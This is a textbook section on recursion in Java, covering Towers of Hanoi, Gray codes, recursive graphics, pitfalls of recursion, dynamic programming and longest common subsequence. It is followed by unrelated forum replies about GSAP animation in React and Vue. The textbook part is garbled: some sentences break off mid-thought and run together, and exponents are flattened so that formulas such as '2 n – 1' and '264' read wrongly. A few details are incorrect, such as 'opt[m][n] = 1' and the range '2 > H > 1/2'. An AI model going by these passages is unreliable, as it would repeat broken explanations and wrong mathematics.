We can use function-call trees to understand the behavior of any modular program, but they are particularly useful in exposing the behavior of recursive programs. For example, the tree corresponding to a call to move() in TowersOfHanoi is easy to construct. Start by drawing a tree node labeled with the values of the command-line arguments. The first argument is the number of discs in the pile to be moved (and the label of the disc to actually be moved); the second is the direction to move the disc. For clarity, we depict the direction (a boolean value) as an arrow that points left or right, since that is our interpretation of the value—the direction to move the piece. Then draw two tree nodes below with the number of discs decremented by 1 and the direction switched, and continue doing so until only nodes with labels corresponding to a first argument value 1 have no nodes below them. These nodes correspond to calls on moves() that do not lead to further recursive calls.
Program 2.3.2 Towers of Hanoi
public class TowersOfHanoi
{
public static void moves(int n, boolean left)
{
if (n == 0) return;
moves(n-1, !left);
if (left) StdOut.println(n + " left");
else StdOut.println(n + " right");
moves(n-1, !left);
}
public static void main(String[] args)
{ // Read n, print moves to move n discs left.
int n = Integer.parseInt(args[0]);
moves(n, true);
}
}
n | number of discs
left | direction to move pile
The recursive method moves() prints the moves needed to move n discs to the left (if left is true) or to the right (if left is false).
% java TowersOfHanoi 1
1 left
% java TowersOfHanoi 2
1 right
2 left
1 right
% java TowersOfHanoi 3
1 left
2 right
1 left
3 left
1 left
2 right
1 left
% java TowersOfHanoi 4
1 right
2 left
1 right
3 right
1 right
2 left
1 right
4 left
1 right
2 left
1 right
3 right
1 right
2 left
1 right
Take a moment to study the function-call tree depicted earlier in this section and to compare it with the corresponding function-call trace depicted at right. When you do so, you will see that the recursion tree is just a compact representation of the trace. In particular, reading the node labels from left to right gives the moves needed to solve the problem.
Moreover, when you study the tree, you probably notice several patterns, including the following two:
Alternate moves involve the smallest disc.
That disc always moves in the same direction.
These observations are relevant because they give a solution to the problem that does not require recursion (or even a computer): every other move involves the smallest disc (including the first and last), and each intervening move is the only legal move at the time not involving the smallest disc. We can prove that this approach produces the same outcome as the recursive program, using induction. Having started centuries ago without the benefit of a computer, perhaps our monks are using this approach.
Trees are relevant and important in understanding recursion because the tree is a quintessential recursive object. As an abstract mathematical model, trees play an essential role in many applications, and in CHAPTER 4, we will consider the use of trees as a computational model to structure data for efficient processing.
Exponential time
One advantage of using recursion is that often we can develop mathematical models that allow us to prove important facts about the behavior of recursive programs. For the towers of Hanoi problem, we can estimate the amount of time until the end of the world (assuming that the legend is true). This exercise is important not just because it tells us that the end of the world is quite far off (even if the legend is true), but also because it provides insight that can help us avoid writing programs that will not finish until then.
The mathematical model for the towers of Hanoi problem is simple: if we define the function T(n) to be the number of discs moved by TowersOfHanoi to solve an n-disc problem, then the recursive code implies that T(n) must satisfy the following equation:
T(n) = 2 T(n–1) + 1 for n > 1, with T(1) = 1
Such an equation is known in discrete mathematics as a recurrence relation. Recurrence relations naturally arise in the study of recursive programs. We can often use them to derive a closed-form expression for the quantity of interest. For T(n), you may have already guessed from the initial values T(1) = 1, T(2) = 3, T(3), = 7, and T(4) = 15 that T(n) = 2 n – 1. The recurrence relation provides a way to prove this to be true, by mathematical induction:
Base case: T(1) = 2n – 1 = 1
Induction step: if T(n–1)= 2n–1 – 1, T(n) = 2 (2n–1 – 1) + 1 = 2n – 1
Therefore, by induction, T(n) = 2n – 1 for all n > 0. The minimum possible number of moves also satisfies the same recurrence (see EXERCISE 2.3.11).
Knowing the value of T(n), we can estimate the amount of time required to perform all the moves. If the monks move discs at the rate of one per second, it would take more than one week for them to finish a 20-disc problem, more than 34 years to finish a 30-disc problem, and more than 348 centuries for them to finish a 40-disc problem (assuming that they do not make a mistake). The 64-disc problem would take more than 5.8 billion centuries. The end of the world is likely to be even further off than that because those monks presumably never have had the benefit of using PROGRAM 2.3.2, and might not be able to move the discs so rapidly or to figure out so quickly which disc to move next.
Even computers are no match for exponential growth. A computer that can do a billion operations per second will still take centuries to do 264 operations, and no computer will ever do 21,000 operations, say. The lesson is profound: with recursion, you can easily write simple short programs that take exponential time, but they simply will not run to completion when you try to run them for large n. Novices are often skeptical of this basic fact, so it is worth your while to pause now to think about it. To convince yourself that it is true, take the print statements out of TowersOfHanoi and run it for increasing values of n starting at 20. You can easily verify that each time you increase the value of n by 1, the running time doubles, and you will quickly lose patience waiting for it to finish. If you wait for an hour for some value of n, you will wait more than a day for n + 5, more than a month for n + 10, and more than a century for n + 20 (no one has that much patience). Your computer is just not fast enough to run every short Java program that you write, no matter how simple the program might seem! Beware of programs that might require exponential time.
We are often interested in predicting the running time of our programs. In SECTION 4.1, we will discuss the use of the same process that we just used to help estimate the running time of other programs.
Gray codes
The towers of Hanoi problem is no toy. It is intimately related to basic algorithms for manipulating numbers and discrete objects. As an example, we consider Gray codes, a mathematical abstraction with numerous applications.
The playwright Samuel Beckett, perhaps best known for Waiting for Godot, wrote a play called Quad that had the following property: starting with an empty stage, characters enter and exit one at a time so that each subset of characters on the stage appears exactly once. How did Beckett generate the stage directions for this play?
One way to represent a subset of n discrete objects is to use a string of n bits. For Beckett’s problem, we use a 4-bit string, with bits numbered from right to left and a bit value of 1 indicating the character onstage. For example, the string 0 1 0 1 corresponds to the scene with characters 3 and 1 onstage. This representation gives a quick proof of a basic fact: the number different subsets of n objects is exactly 2 n. Quad has four characters, so there are 24 = 16 different scenes. Our task is to generate the stage directions.
An n-bit Gray code is a list of the 2n different n-bit binary numbers such that each element in the list differs in precisely one bit from its predecessor. Gray codes directly apply to Beckett’s problem because changing the value of a bit from 0 to 1 corresponds to a character entering the subset onstage; changing a bit from 1 to 0 corresponds to a character empty, so the 1-bit code is 0 followed by 1. From this recursive definition, we can verify by induction that the n-bit binary reflected Gray code has the required property: adjacent codewords differ in one bit position. It is true by the inductive hypothesis, except possibly for the last codeword in the first half and the first codeword in the second half: this pair differs only in their first bit.
The recursive definition leads, after some careful thought, to the implementation in Beckett (PROGRAM 2.3.3) for printing Beckett’s stage directions. This program is remarkably similar to TowersOfHanoi. Indeed, except for nomenclature, the only difference is in the values of the second arguments in the recursive calls!
As with the directions in TowersOfHanoi, the enter and exit directions are redundant in Beckett, since exit is issued only when an actor is onstage, and enter is issued only when an actor is not onstage. Indeed, both Beckett and TowersOfHanoi directly involve the ruler function that we considered in one of our first programs (PROGRAM 1.2.1). Without the printing instructions, they both implement a simple recursive function that could allow Ruler to print the values of the ruler function for any value given as a command-line argument.
Gray codes have many applications, ranging from analog-to-digital converters to experimental design. They have been used in pulse code communication, the minimization of logic circuits, and hypercube architectures, and were even proposed to organize books on library shelves.
Program 2.3.3 Gray code
public class Beckett
{
public static void moves(int n, boolean enter)
{
if (n == 0) return;
moves(n-1, true);
if (enter) StdOut.println("enter " + n);
else StdOut.println("exit " + n);
moves(n-1, false);
}
public static void main(String[] args)
{
int n = Integer.parseInt(args[0]);
moves(n, true);
}
}
n | number of actors
enter | stage direction
This recursive program gives Beckett’s stage instructions (the bit positions that change in a binary-reflected Gray code). The bit position that changes is precisely described by the ruler function, and (of course) each actor alternately enters and exits.
% java Beckett 1
enter 1
% java Beckett 2
enter 1
enter 2
exit 1
% java Beckett 3
enter 1
enter 2
exit 1
enter 3
enter 1
exit 2
exit 1
% java Beckett 4
enter 1
enter 2
exit 1
enter 3
enter 1
exit 2
exit 1
enter 4
enter 1
enter 2
exit 1
exit 3
enter 1
exit 2
exit 1
Recursive graphics
Simple recursive drawing schemes can lead to pictures that are remarkably intricate. Recursive drawings not only relate to numerous applications, but also provide an appealing platform for developing a better understanding of properties of recursive functions, because we can watch the process of a recursive figure taking shape.
As a first simple example, consider Htree (PROGRAM 2.3.4), which, given a command-line argument n, draws an H-tree of order n, defined as follows: The base case is to draw nothing for n = 0. The reduction step is to draw, within the unit square
three lines in the shape of the letter H
four H-trees of order n–1, one centered at each tip of the H with the additional proviso that the H-trees of order n–1 are halved in size.
Drawings like these have many practical applications. For example, consider a cable company that needs to run cable to all of the homes distributed throughout its region. A reasonable strategy is to use an H-tree to get the signal to a suitable number of centers distributed throughout the region, then run cables connecting each home to the nearest center. The same problem is faced by computer designers who want to distribute power or signal throughout an integrated circuit chip.
Though every drawing is in a fixed-size window, H-trees certainly exhibit exponential growth. An H-tree of order n connects 4n centers, so you would be trying to plot more than a million lines with n = 10, and more than a billion with n = 15. The program will certainly not finish the drawing with n = 30.
If you take a moment to run Htree on your computer for a drawing that takes a minute or so to complete, you will, just by watching the drawing progress, have the opportunity to gain substantial insight into the nature of recursive programs, because you can see the order in which the H figures appear and how they form into H-trees. An even more instructive exercise, which derives from the fact that the same drawing results no matter in which order the recursive draw() calls and the StdDraw.line() calls appear, is to observe the effect of rearranging the order of these calls on the order in which the lines appear in the emerging drawing (see EXERCISE 2.3.14).
Program 2.3.4 Recursive graphics
public class Htree
{
public static void draw(int n, double size, double x, double y)
{ // Draw an H-tree centered at x, y
// of depth n and given size.
if (n == 0) return;
double x0 = x - size/2, x1 = x + size/2;
double y0 = y - size/2, y1 = y + size/2;
StdDraw.line(x0, y, x1, y);
StdDraw.line(x0, y0, x0, y1);
StdDraw.line(x1, y0, x1, y1);
draw(n-1, size/2, x0, y0);
draw(n-1, size/2, x0, y1);
draw(n-1, size/2, x1, y0);
draw(n-1, size/2, x1, y1);
}
public static void main(String[] args)
{
int n = Integer.parseInt(args[0]);
draw(n, 0.5, 0.5, 0.5);
}
}
n | depth
size | line length
x, y | center
The function draw() draws three lines, each of length size, in the shape of the letter H, centered at (x, y). Then, it calls itself recursively for each of the four tips, halving the size argument in each call and using an integer argument n to control the depth of the recursion.
Brownian bridge
An H-tree is a simple example of a fractal: a geometric shape that can be divided into parts, each of which is (approximately) a reduced-size copy of the original. Fractals are easy to produce with recursive programs, although scientists, mathematicians, and programmers study them from many different points of view. We have already encountered fractals several times in this book—for example, IFS (PROGRAM 2.2.3).
The study of fractals plays an important and lasting role in artistic expression, economic analysis, and scientific discovery. Artists and scientists use fractals to build compact models of complex shapes that arise in nature and resist description using conventional geometry, such as clouds, plants, mountains, riverbeds, human skin, and many others. Economists use fractals to model function graphs of economic indicators.
Fractional Brownian motion is a mathematical model for creating realistic fractal models for many naturally rugged shapes. It is used in computational finance and in the study of many natural phenomena, including ocean flows and nerve membranes. Computing the exact fractals specified by the model can be a difficult challenge, but it is not difficult to compute approximations with recursive programs.
Brownian (PROGRAM 2.3.5) produces a function graph that approximates a simple example of fractional Brownian motion known as a Brownian bridge and closely related functions. You can think of this graph as a random walk that connects the two points (x0, y0) and (x1, y1), controlled by a few parameters. The implementation is based on the midpoint displacement method, which is a recursive plan for drawing the plot within the x-interval [x0, x1]. The base case (when the length ym of the midpoint a random value δ, drawn from the Gaussian distribution with mean 0 and a given variance.
Recur on the subintervals, dividing the variance by a given scaling factor s.
The shape of the curve is controlled by two parameters: the volatility (initial value of the variance) controls the distance the function graph strays from the straight line connecting the points, and the Hurst exponent controls the smoothness of the curve. We denote the Hurst exponent by H and divide the variance by 22H at each recursive level. When H is 1/2 (halved at each level), the curve is a Brownian bridge—a continuous version of the gambler’s ruin problem (see PROGRAM 1.3.8). When 0 < H < 1/2, the displacements tend to increase, resulting in a rougher curve. Finally, when 2 > H > 1/2, the displacements tend to decrease, resulting in a smoother curve. The value 2 –H is known as the fractal dimension of the curve.
Program 2.3.5 Brownian bridge
public class Brownian
{
public static void curve(double x0, double y0,
double x1, double y1,
double var, double s)
{
if (x1 - x0 < 0.01)
{
StdDraw.line(x0, y0, x1, y1);
return;
}
double xm = (x0 + x1) / 2;
double ym = (y0 + y1) / 2;
double delta = StdRandom.gaussian(0, Math.sqrt(var));
curve(x0, y0, xm, ym+delta, var/s, s);
curve(xm, ym+delta, x1, y1, var/s, s);
}
public static void main(String[] args)
{
double hurst = Double.parseDouble(args[0]);
double s = Math.pow(2, 2*hurst);
curve(0, 0.5, 1.0, 0.5, 0.01, s);
}
}
x0, y0 | left endpoint
x1, y1 | right endpoint
xm, ym | middle
delta | displacement
var | variance
hurst | Hurst exponent
By adding a small, random Gaussian to a recursive program that would otherwise plot a straight line, we get fractal curves. The command-line argument hurst, known as the Hurst exponent, controls the smoothness of the curves.
The volatility and initial endpoints of the interval have to do with scale and positioning. The main() test client in Brownian allows you to experiment with the Hurst exponent. With values larger than 1/2, you get plots that look something like the horizon in a mountainous landscape; with values smaller than 1/2, you get plots similar to those you might see for the value of a stock index.
Extending the midpoint displacement method to two dimensions yields fractals known as plasma clouds. To draw a rectangular plasma cloud, we use a recursive plan where the base case is to draw a rectangle of a given color and the reduction step is to draw a plasma cloud in each of the four quadrants with colors that are perturbed from the average with a random Gaussian. Using the same volatility and smoothness controls as in Brownian, we can produce synthetic clouds that are remarkably realistic. We can use the same code to produce synthetic terrain, by interpreting the color value as the altitude. Variants of this scheme are widely used in the entertainment industry to generate background scenery for movies and games.
Pitfalls of recursion
By now, you are perhaps persuaded that recursion can help you to write compact and elegant programs. As you begin to craft your own recursive programs, you need to be aware of several common pitfalls that can arise. We have already discussed one of them in some detail (the running time of your program might grow exponentially). Once identified, these problems are generally not difficult to overcome, but you will learn to be very careful to avoid them when writing recursive programs.
Missing base case
Consider the following recursive function, which is supposed to compute harmonic numbers, but is missing a base case:
public static double harmonic(int n)
{
return harmonic(n-1) + 1.0/n;
}
If you run a client that calls this function, it will repeatedly call itself and never return, so your program will never terminate. You probably already have encountered infinite loops, where you invoke your program and nothing happens (or perhaps you get an unending sequence of printed output). With infinite recursion, however, the result is different because the system keeps track of each recursive call (using a mechanism that we will discuss in SECTION 4.3, based on a data structure known as a stack) and eventually runs out of memory trying to do so. Eventually, Java reports a StackOverflowError at run time. When you write a recursive program, you should always try to convince yourself that it has the desired effect by an informal argument based on mathematical induction. Doing so might uncover a missing base case.
No guarantee of convergence
Another common problem is to include within a recursive function a recursive call to solve a subproblem that is not smaller than the original problem. For example, the following method goes into an infinite recursive loop for any value of its argument (except 1) because the sequence of argument values does not converge to the base case:
public static double harmonic(int n)
{
if (n == 1) return 1.0;
return harmonic(n) + 1.0/n;
}
Bugs like this one are easy to spot, but subtle versions of the same problem can be harder to identify. You may find several examples in the exercises at the end of this section.
Excessive memory requirements
If a function calls itself recursively an excessive number of times before returning, the memory required by Java to keep track of the recursive calls may be prohibitive, resulting in a StackOverflowError. To get an idea of how much memory is involved, run a small set of experiments using our recursive function for computing the harmonic numbers for increasing values of n:
public static double harmonic(int n)
{
if (n == 1) return 1.0;
return harmonic(n-1) + 1.0/n;
}
The point at which you get StackOverflowError will give you some idea of how much memory Java uses to implement recursion. By contrast, you can run PROGRAM 1.3.5 to compute Hn for huge n using only a tiny bit of memory.
Excessive recomputation
The temptation to write a simple recursive function to solve a problem must always be tempered by the understanding that a function might take exponential time (unnecessarily) due to excessive recomputation. This effect is possible even in the simplest recursive functions, and you certainly need to learn to avoid it. For example, the Fibonacci sequence
0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, ...
is defined by the recurrence Fn = Fn–1 + Fn–2 for n ≥ 2 with F0 = 0 and F1 = 1. The Fibonacci sequence has many interesting properties and arise in numerous applications. A novice programmer might implement this recursive function to compute numbers in the Fibonacci sequence:
// Warning: this function is spectacularly inefficient.
public static long fibonacci(int n)
{
if (n == 0) return 0;
if (n == 1) return 1;
return fibonacci(n-1) + fibonacci(n-2);
}
Wrong way to compute Fibonacci numbers
fibonacci(8)
fibonacci(7)
fibonacci(6)
fibonacci(5)
fibonacci(4)
fibonacci(3)
fibonacci(2)
fibonacci(1)
return 1
fibonacci(0)
return 0
return 1
fibonacci(1)
return 1
return 2
fibonacci(2)
fibonacci(1)
return 1
fibonacci(0)
return 0
return 1
return 3
fibonacci(3)
fibonacci(2)
fibonacci(1)
return 1
fibonacci(0)
return 0
return 1
fibonacci(1)
return 1
return 2
return 5
fibonacci(4)
fibonacci(3)
fibonacci(2)
.
.
.
However, this function is spectacularly inefficient! Novice programmers often refuse to believe this fact, and run code like this expecting that the computer is certainly fast enough to crank out an answer. Go ahead; see if your computer is fast enough to use this function to compute fibonacci(50). To see why it is futile to do so, consider what the function does to compute fibonacci(8) = 21. It first computes fibonacci(7) = 13 and fibonacci(6) = 8. To compute fibonacci(7), it recursively computes fibonacci(6) = 8 again and fibonacci(5) = 5. Things rapidly get worse because both times it computes fibonacci(6), it ignores the fact that it already computed fibonacci(5), and so forth. In fact, the number of times this program computes fibonacci(1) when computing fibonacci(n) is precisely Fn (see EXERCISE 2.3.12). The mistake of recomputation is compounded exponentially. As an example, fibonacci(200) makes F200 > 1043 recursive calls to fibonacci(1)! No imaginable computer will ever be able to do this many calculations. Beware of programs that might require exponential time. Many calculations that arise and find natural expression as recursive functions fall into this category. Do not fall into the trap of implementing and trying to run them.
Next, we consider a systematic technique known as dynamic programming, an elegant technique for avoiding such problems. The idea is to avoid the excessive recomputation inherent in some recursive functions by saving away the previously computed values for later reuse, instead of constantly recomputing them.
Dynamic programming
A general approach to implementing recursive programs, known as dynamic programming, provides effective and elegant solutions to a wide class of problems. The basic idea is to recursively divide a complex problem into a number of simpler subproblems; store the answer to each of these subproblems; and, ultimately, use the stored answers to solve the original problem. By solving each subproblem only once (instead of over and over), this technique avoids a potential exponential blow-up in the running time.
For example, if our original problem is to compute the nth Fibonacci number, then it is natural to define n + 1 subproblems, where subproblem i is to compute the ith Fibonacci number for each 0 ≤ i ≤ n. We can solve subproblem i easily if we already know the solutions to smaller subproblems—specifically, subproblems i–1 and i–2. Moreover, the solution to our original problem is simply the solution to one of the subproblems—subproblem n.
Top-down dynamic programming
In top-down dynamic programming, we store or cache the result of each subproblem that we solve, so that the next time we need to solve the same subproblem, we can use the cached values instead of solving the subproblem from scratch. For our Fibonacci example, we use an array f[] to store the Fibonacci numbers that have already been computed. We accomplish this in Java by using a static variable, also known as a class variable or global variable, that is declared outside of any method. This allows us to save information from one function call to the next.
Top-down dynamic programming is also known as memoization because it avoids duplicating work by remembering the results of function calls.
Bottom-up dynamic programming
In bottom-up dynamic programming, we compute solutions to all of the subproblems, starting with the “simplest” subproblems and gradually building up solutions to more and more complicated subproblems. To apply bottom-up dynamic programming, we must order the subproblems so that each subsequent subproblem can be solved by combining solutions to subproblems earlier in the order (which have already been solved). For our Fibonacci example, this is easy: solve the subproblems in the order 0, 1, and 2, and so forth. By the time we need to solve subproblem i, we have already solved all smaller subproblems—in particular, subproblems i–1 and i–2.
public static long fibonacci(int n)
{
int[] f = new int[n+1];
f[0] = 0;
f[1] = 1;
for (int i = 2; i <= n; i++)
f[i] = f[i-1] + f[i-2];
return f[n];
}
When the ordering of the subproblems is clear, and space is available to store all the solutions, bottom-up dynamic programming is a very effective approach.
Next, we consider a more sophisticated application of dynamic programming, where the order of solving the subproblems is not so clear (until you see it). Unlike the problem of computing Fibonacci numbers, this problem would be much more difficult to solve without thinking recursively and also applying a bottom-up dynamic programming approach.
Longest common subsequence problem
We consider a fundamental string-processing problem that arises in computational biology and other domains. Given two strings x and y, we wish to determine how similar they are. Some examples include comparing two DNA sequences for homology, two English words for spelling, or two Java files for repeated code. One measure of similarity is the length of the longest common subsequence (LCS). If we delete some characters from x and some characters from y, and the resulting two strings are equal, we call the resulting string a common subsequence. The LCS problem is to find a common subsequence of two strings that is as long as possible. For example, the LCS of GGCACCACG and ACGGCGGATACG is GGCAACG, a string of length 7.
Algorithms to compute the LCS are used in data comparison programs like the diff command in Unix, which has been used for decades by programmers wanting to understand differences and similarities in their text files. Similar algorithms play important roles in scientific applications, such as the Smith–Waterman algorithm in computational biology and the Viterbi algorithm in digital communications theory.
LCS recurrence
Now we describe a recursive formulation that enables us to find the LSC of two given strings s and t. Let m and n be the lengths of s and t, respectively. We use the notation s[i..m) to denote the suffix of s starting at index i, and t[j..n) to denote the suffix of t starting at index j. On the one hand, if s and t begin with the same character, then the LCS of x and y contains that first character. Thus, our problem reduces to finding the LCS of the suffixes s[1..m) and t[1..n). On the other hand, if s and t begin with different characters, both characters cannot be part of a common subsequence, so we can safely discard one or the other. In either case, the problem reduces to finding the LCS of two strings—either s[0..m) and t[1..n) or s[1..m) and t[0..n)—one of which is strictly shorter. In general, if we let opt[i][j] denote the length of the LCS of the suffixes s[i..m) and t[j..m), then the following recurrence expresses opt[i][j] in terms of the length of the LCS for shorter suffixes.
0 if i = m or j = n
opt[i][j] = opt[i+1, j+1] + 1 if s[i] = t[j]
max(opt[i, j+1], opt[i+1, j]) otherwise
Dynamic programming solution
LongestCommonSubsequence (PROGRAM 2.3.6) begins with a bottom-up dynamic programming approach to solving this recurrence. We maintain a two-dimensional array opt[i][j] that stores the length of the LCS of the suffixes s[i..m) and t[j..n). Initially, the bottom row (the values for i = m) and the right column (the values for j = n) are 0. These are the initial values. From the recurrence, the order of the rest of the computation is clear: we start with opt[m][n] = 1. Then, as long as we decrease either i or j or both, we know that we will have computed what we need to compute opt[i][j], since the two options involve an opt[][] entry with a larger value of i or j or both. The method lcs() in PROGRAM 2.3.6 computes the elements in opt[][] by filling in values in rows from bottom to top (i = m-1 to 0) and from right to left in each row (j = n-1 to 0). The alternative choice of filling in values in columns from right to left and from bottom to top in each row would work as well. The above diagram has a blue arrow pointing to each entry that indicates which value was used to compute it. (When there is a tie in computing the maximum, both options are shown.)
Program 2.3.6 Longest common subsequence
public class LongestCommonSubsequence
{
public static String lcs(String s, String t)
{ // Compute length of LCS for all subproblems.
int m = s.length(), n = t.length();
int[][] opt = new int[m+1][n+1];
for (int i = m-1; i >= 0; i--)
for (int j = n-1; j >= 0; j--)
if (s.charAt(i) == t.charAt(j))
opt[i][j] = opt[i+1][j+1] + 1;
else
opt[i][j] = Math.max(opt[i+1][j], opt[i][j+1]);
// Recover LCS itself.
String lcs = "";
int i = 0, j = 0;
while(i < m && j < n)
{
if (s.charAt(i) == t.charAt(j))
{
lcs += s.charAt(i);
i++;
j++;
}
else if (opt[i+1][j] >= opt[i][j+1]) i++;
else j++;
}
return lcs;
}
public static void main(String[] args)
{ StdOut.println(lcs(args[0], args[1])); }
}
s, t | two strings
m, n | lengths of two strings
opt[i][j] | length of LCS of x[i..m) and y[j..n)
lcs | longest common subsequence
The function lcs() computes and returns the LCS of two strings x and y using bottom-up dynamic programming. The method call s.charAt(i) returns character i of string s.
% java LongestCommonSubsequence GGCACCACG ACGGCGGATACG
GGCAACG
The final challenge is to recover the longest common subsequence itself, not just its length. The key idea is to retrace the steps of the dynamic programming algorithm backward, rediscovering the path of choices (highlighted in gray in the diagram) from opt[0][0] to opt[m][n]. To determine the choice that led to opt[i][j], we consider the three possibilities:
The character s[i] equals t[j]. In this case, we must have opt[i][j] = opt[i+1][j+1] + 1, and the next character in the LCS is s[i] (or t[j]), so we include the character s[i] (or t[j]) in the LCS and continue tracing back from opt[i+1][j+1].
The LCS does not contain s[i]. In this case, opt[i][j] = opt[i+1][j] and we continue tracing back from opt[i+1][j].
The LCS does not contain t[j]. In this case, opt[i][j] = opt[i][j+1] and we continue tracing back from opt[i][j+1].
We begin tracing back at opt[0][0] and continue until we reach opt[m][n]. At each step in the traceback either i increases or j increases (or both), so the process terminates after at most m + n iterations of the while loop.
DYNAMIC PROGRAMMING IS A FUNDAMENTAL ALGORITHM design paradigm, intimately linked to recursion. If you take later courses in algorithms or operations research, you are sure to learn more about it. The idea of recursion is fundamental in computation, and the idea of avoiding recomputation of values that have been computed before is certainly a natural one. Not all problems immediately lend themselves to a recursive formulation, and not all recursive formulations admit an order of computation that easily avoids recomputation—arranging for both can seem a bit miraculous when one first encounters it, as you have just seen for the LCS. problem.
Perspective
Programmers who do not use recursion are missing two opportunities. First recursion leads to compact solutions to complex problems. Second, recursive solutions embody an argument that the program operates as anticipated. In the early days of computing, the overhead associated with recursive programs was prohibitive in some systems, and many people avoided recursion. In modern systems like Java, recursion is often the method of choice.
Recursive functions truly illustrate the power of a carefully articulated abstraction. While the concept of a function having the ability to call itself seems absurd to many people at first, the many examples that we have considered are certainly evidence that mastering recursion is essential to understanding and exploiting computation and in understanding the role of computational models in studying natural phenomena.
Recursion has reinforced for us the idea of proving that a program operates as intended. The natural connection between recursion and mathematical induction is essential. For everyday programming, our interest in correctness is to save time and energy tracking down bugs. In modern applications, security and privacy concerns make correctness an essential part of programming. If the programmer cannot be convinced that an application works as intended, how can a user who wants to keep personal data private and secure be so convinced?
Recursion is the last piece in a programming model that served to build much of the computational infrastructure that was developed as computers emerged to take a central role in daily life in the latter part of the 20th century. Programs built from libraries of functions consisting of statements that operate on primitive types of data, conditionals, loops, and function calls (including recursive ones) can solve important problems of all sorts. In the next section, we emphasize this point and review these concepts in the context of a large application. In CHAPTER 3 and in CHAPTER 4, we will examine extensions to these basic ideas that embrace the more expansive style of programming that now dominates the computing landscape.
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refinedweb
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Posts posted by Rodrigo
What about this?:
console.log( $(".header__outer") );
1
Hi,
Unfortunately nothing of this is getting us closer to solve this. You haven't informed us what type of app this is, React, Vue, Meteor, jQuery, etc? That could be critical in order to narrow it down, so please let us know about that part.
Also it would be nice to know two things. First, right after creating the css rule variable could you add the following code:
var menuLine = CSSRulePlugin.getRule(".header__outer:after"); // add this console.log( document.querySelector(".header__outer") );
This in order to know if the element is actually in the DOM at that point (which is related to @Jonathan's post regarding the fact of what is going on with the DOM when the code is executed).
Second, you mentioned that you're using webpack with SASS loader. What is exactly your webpack config just regarding that (we do not need to see your entire webpack.config.js file right now, just the part of getting the SASS files and turning them to CSS. I assume that you're using the SASS loader first and then the CSS loader. In the same regard, is your CSS actually being bundled and visible on the project (again and sorry for being so persistent about it, what type of project we're talking about here).
Happy Tweening!!
1
Hi,
I don't know if this is completely related to webpack. The error comes from the css rule returning null.
Unfortunately the information you're providing is not enough to get a complete idea of what you're trying to do and your setup.
If you're working with React, or VueJS this thread could help you:
Here is a live sample:
Beyond that is not much I can do to help you.
Happy tweening!!
2
Hi,
Honestly I don't know how that can be done with just GSAP. Perhaps using ThreeJS and GSAP but I know nothing about ThreeJS.
What I can tell you is that this particular letter:
Was handed to my by a client as a PNG sequence. It is used in Streammm which is a native App. I worked on the front end that uses GSAP and PIXI, so my first guess is that this could be made using a 3D rendering software or engine.
Here is the map used to create the animation in PIXI:
I'll ask my client about the origin of the image and let you know just in case. Sorry that I can't help you beyond this.
Happy Tweening!!!
3
You're welcome.
Well is just a pattern that you'll see quite a bit here in the forums and some bits I gathered throughout my time here.
First unless is necessary I always create Timeline instances paused, because otherwise the time is already running and the playhead is moving forward. Granted, normal JS execution to add the instances might take only a few milliseconds but in some cases that could cause some unexpected behaviour. Now I'll jump forward to this:
tl.reversed( !tl.reversed() );
Reversed is a getter/setter of the reverse status of a GSAP instance. By default all GSAP instance are created and going forward, therefore by default reversed() returns false. Since I'm using reversed() as a setter (by passing the opposite value) I need that the reverse status of the timeline to be true. Now since I created the timeline paused the playhead won't go anywhere unless I change that, hence I add a reverse() call at the end of the timeline. Now the timeline is paused, so I'm telling the timeline: "Go from being paused to play backward", but since the timeline is at zero seconds and negative time doesn't exists (although @GreenSock and/or @OSUblake might be working on that
) the timeline stays put at zero seconds and the reversed() value is true. Then on the first click (or any other event that triggers it) I toggle the reversed() value to false, which tells the timeline to go forward and so forth.
Basically is just a way of doing it without the conditional block in it, which saves a tiny amount of time and a couple of lines of code.
Hopefully this makes things more clear about it.
Happy Tweening!!!
3
Hi,
I don't know if this is the ideal way of doing it, but the best approach I can think of is to create a reference to the timeline instance in the data() callback:
data() { return { tween: new TimelineLite({ paused: true }) }; },
Then in the mounted hook, add the instances to the timeline:
mounted: function() { this.tween .to(this.$refs.appLogo, 2, { rotation: 360 }) .reverse(); }
And finally in the methods object define a method to play/reverse the instance:
methods: { toggleLogoTween: function() { this.tween.reversed(!this.tween.reversed()); } },
Here is a live reduced sample:
Happy Tweening!!
5
Hi Robert,
Check the docs for NPM usage:
Scroll a bit until you find the part of tree shaking.
It should be a bit like this:
import { TweenLite, ScrollToPlugin } from "gsap/all"; const scrollPlugin = ScrollToPlugin;
Try that and let us know how it goes.
Happy tweening!!
4
Hi,
Here is a live sample of the React component using React Router:
I'm going to start creating a re-usable component, but due to other things I'm working on, it might take a while to get it done, but for now that shouldn't be too hard to use. I'll try to set up a public repository with the code and the styles so this can be added to Create React App and it can be customized as needed.
Happy Tweening!!!
4
Hi,
I'm not much into using those type of animations but as I suspected there is a scrollspy package for Vue2.
Now I suspect that this is triggering an event that could help you start your GSAP animations, but you'll have to look for it in the API and/or the source code:
Also you have these:
And here are a lot of options, some of them might be useful some not:
2
Hi,
Besides Jack's great example here is something I made some time ago for a React app:
Of course it has the constraint that it uses Bootstrap for the styles (the whole project was built on bootstrap and I made a couple of components for it). It's base on this other trying to use GSAP for Materialize's sidebar nav:
See the Pen 3703321fd4b8141cb76d8cedf086069f by rhernando (@rhernando) on CodePen
Hopefully this will be helpful in some fashion.
Happy Tweening!!!
6
Yep, Jack is right. That is a bit complex to do.
I didn't checked the article but for what I saw, they're using a simple object on top of each image with the same background color, that hides the images and then is translated to create the reveal effect (at first I thought it could be mask clip, but since it has such a limited browser support they went this route).
Also inspecting the demo I found some familiar updates in the inline transitions and it turns out that they're using GSAP for this:
Finally for using GSAP with React some fella around here, that has everyone fooled thinking He is good at using React with GSAP, wrote an article about it:
Happy Tweening!!!
1
Hi,
@GreenSock is right. The main concern when dealing with any type of shadow dom library/framework is what's called DOM reconciliation (something @OSUblake has more knowledge than I am). Here's what React's official docs say about reconciliation:
But back on the specific question, yeah the issue is that GSAP doesn't have the slightest idea of what could make the resulting DOM to change and as Jack mentioned is a bad idea performance-wise, so GSAP takes care of it's own end and so does React (and Vue and other shadow dom libraries as well). They work in what's called a reactive way. Something changes that makes necessary a DOM update. The good news is that all those tools offer what's normally called lifecycle methods/hooks (do not confuse with the new hooks API introduced by React) which help you do stuff, before or after the DOM is going to change as a result of a state property being mutated. That's why in every piece of documentation is highly discouraged to reach and manipulate the DOM directly, hence the usage of references (refs).
